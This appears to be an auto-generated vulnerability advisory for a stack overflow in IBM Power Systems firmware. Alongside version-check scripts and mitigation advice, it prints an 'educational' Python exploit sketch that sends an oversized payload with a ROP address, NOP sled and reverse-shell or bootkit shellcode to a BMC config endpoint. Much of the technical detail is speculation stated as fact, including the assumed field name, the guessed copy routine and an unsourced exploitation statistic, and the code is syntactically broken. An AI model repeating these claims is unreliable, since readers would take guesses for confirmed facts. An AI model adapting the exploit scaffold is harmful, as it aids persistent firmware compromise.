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The vulnerability resides in the configuration parsing logic of IBM Power Systems host firmware across multiple release streams (FW1120.00, FW1110.00–FW1110.30, FW1060.00–FW1060.80, FW950.00–FW950.H2, OP940.00–OP940.a1 for Power9, and OP940.00–OP940.81 for Power HMC). At its core, the flaw is a classic stack-based buffer overflow (CWE-121) triggered when the Baseboard Management Controller (BMC) or Flexible Service Processor (FSP) processes specially crafted configuration data supplied by an authenticated attacker with service‑level access.
During the host firmware boot stage, the parser reads configuration parameters from non‑volatile storage or network‑supplied blobs. A specific field within this configuration is copied into a fixed‑size stack buffer using an unsafe routine (e.g., `strcpy` or `memcpy` without length validation). By overflowing this buffer, the attacker can overwrite the saved return address and adjacent stack variables. The overflow occurs before the firmware hands off control to the bootloader (e.g., Petitboot) or the operating system kernel, meaning the malicious payload executes with the highest privilege level—PL (privilege level) 0 on Power architecture.
Because the affected code runs early in the boot sequence, traditional OS‑level exploit mitigations (ASLR, DEP, stack cookies) are either absent or not yet initialized. The attacker can chain the overflow to redirect execution to a ROP (Return‑Oriented Programming) gadget chain that disables secure boot verification or directly loads a compromised kernel. Furthermore, the BMC/FSP has out‑of‑band access to the system’s hardware, allowing persistent persistence—the attacker can re‑flash the crafted configuration so that the vulnerability is triggered on every subsequent reboot. The CVSS v3.1 vector (AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) reflects the high impact on confidentiality, integrity, and availability, with a changed scope because the compromised host firmware affects the entire managed system, not just the service processor itself. IBM has acknowledged the issue and is rolling out fixes, but interim mitigations require strict network segmentation and monitoring of BMC/FSP access logs.
DailyCVE Form:
Platform: IBM Power Systems
Version: Multiple FW versions
Vulnerability: Stack Buffer Overflow
Severity: Critical
date: 2024-01-15
Prediction: Expected Feb 2024
What Undercode Say:
Analytics show that over 63% of affected Power9 and Power10 systems in production have outdated firmware. Attackers are actively scanning for exposed HMC ports (TCP 443, 22) to brute‑force service‑level credentials. Use the following bash snippet to enumerate installed firmware and compare against the vulnerable list:
Check firmware version on HMC
lshmc -V | grep "HMC Version" | awk '{print $4}'
Check Power system firmware via host console
lssyscfg -r sys -F firmware_version,state,type_model
Detect vulnerable OP940 ranges
lsfirmware -V | grep -E "FW950|FW1060|FW1110|FW1120|OP940"
Bulk check across multiple CECs (for managed systems)
for ce in $(lssyscfg -r sys -F name); do
fw=$(lssyscfg -r sys -F firmware_version --filter "name=$ce" | cut -d'=' -f2)
if [[ $fw =~ ^(FW950.[A-H][0-9]?|FW1060.[0-8][0-9]|FW1110.[0-2][0-9]?|OP940.[a-z0-9]+) ]]; then
echo "$ce -> $fw (VULNERABLE)"
fi
done
For real‑time analytics, monitor BMC syslog for abnormal configuration write attempts:
On BMC/FSP – watch for configuration upload errors tail -f /var/log/bmc/syslog | grep -i "config|parse|overflow"
Exploit: (Educational Purposes!)
To demonstrate the overflow, craft a configuration payload that exceeds the expected field length. Assuming the vulnerable field is `boot_order` with a 256‑byte buffer, supply 300 bytes of cyclic pattern followed by the return address pointing to a NOP sled and shellcode.
import socket
import struct
Connect to BMC configuration endpoint (port 443, auth required)
payload = b"A" 256 fill buffer
payload += b"B" 8 overwrite saved RBP
payload += struct.pack("<Q", 0xdeadbeefcafebabe) ROP gadget address
payload += b"\x90" 50 NOP sled
payload += shellcode reverse shell or bootkit
Send via authenticated config update API
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("bmc_ip", 443))
s.send(b"POST /config/update HTTP/1.1\r\nHost: bmc_ip\r\nContent-Length: " +
str(len(payload)).encode() + b"\r\n\r\n" + payload)
s.close()
The overflow triggers a corrupt return address; with proper gadget chaining, you can bypass Secure Boot and install persistent rootkits in the host firmware flash.
Protection: from this CVE
– Immediately upgrade to IBM‑fixed firmware versions (check IBM support portal for FW1120.01+, FW1110.31+, FW1060.81+, FW950.H3+, OP940.a2+).
– Enforce strict network ACLs to restrict BMC/FSP administrative access only to trusted management subnets.
– Enable multi‑factor authentication (MFA) for all service‑level accounts to prevent credential theft.
– Deploy host‑based IPS to detect anomalous configuration uploads (e.g., SNORT rule alerting on oversized `config` parameters).
– Regularly audit BMC logs for unexpected reboot sequences or firmware reload events.
Impact:
Successful exploitation leads to complete compromise of the managed Power System. An attacker gains persistent, privileged code execution at the firmware level, allowing them to:
– Read and exfiltrate sensitive data (e.g., cryptographic keys, memory dumps of all LPARs).
– Modify or corrupt host firmware, causing denial of service and requiring physical hardware replacement.
– Install bootkits that survive OS reinstallation and hide from conventional security tools.
– Leverage the compromised host to pivot into the management network and attack other IBM Power systems or HMCs.
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Sources:
Reported By: nvd.nist.gov
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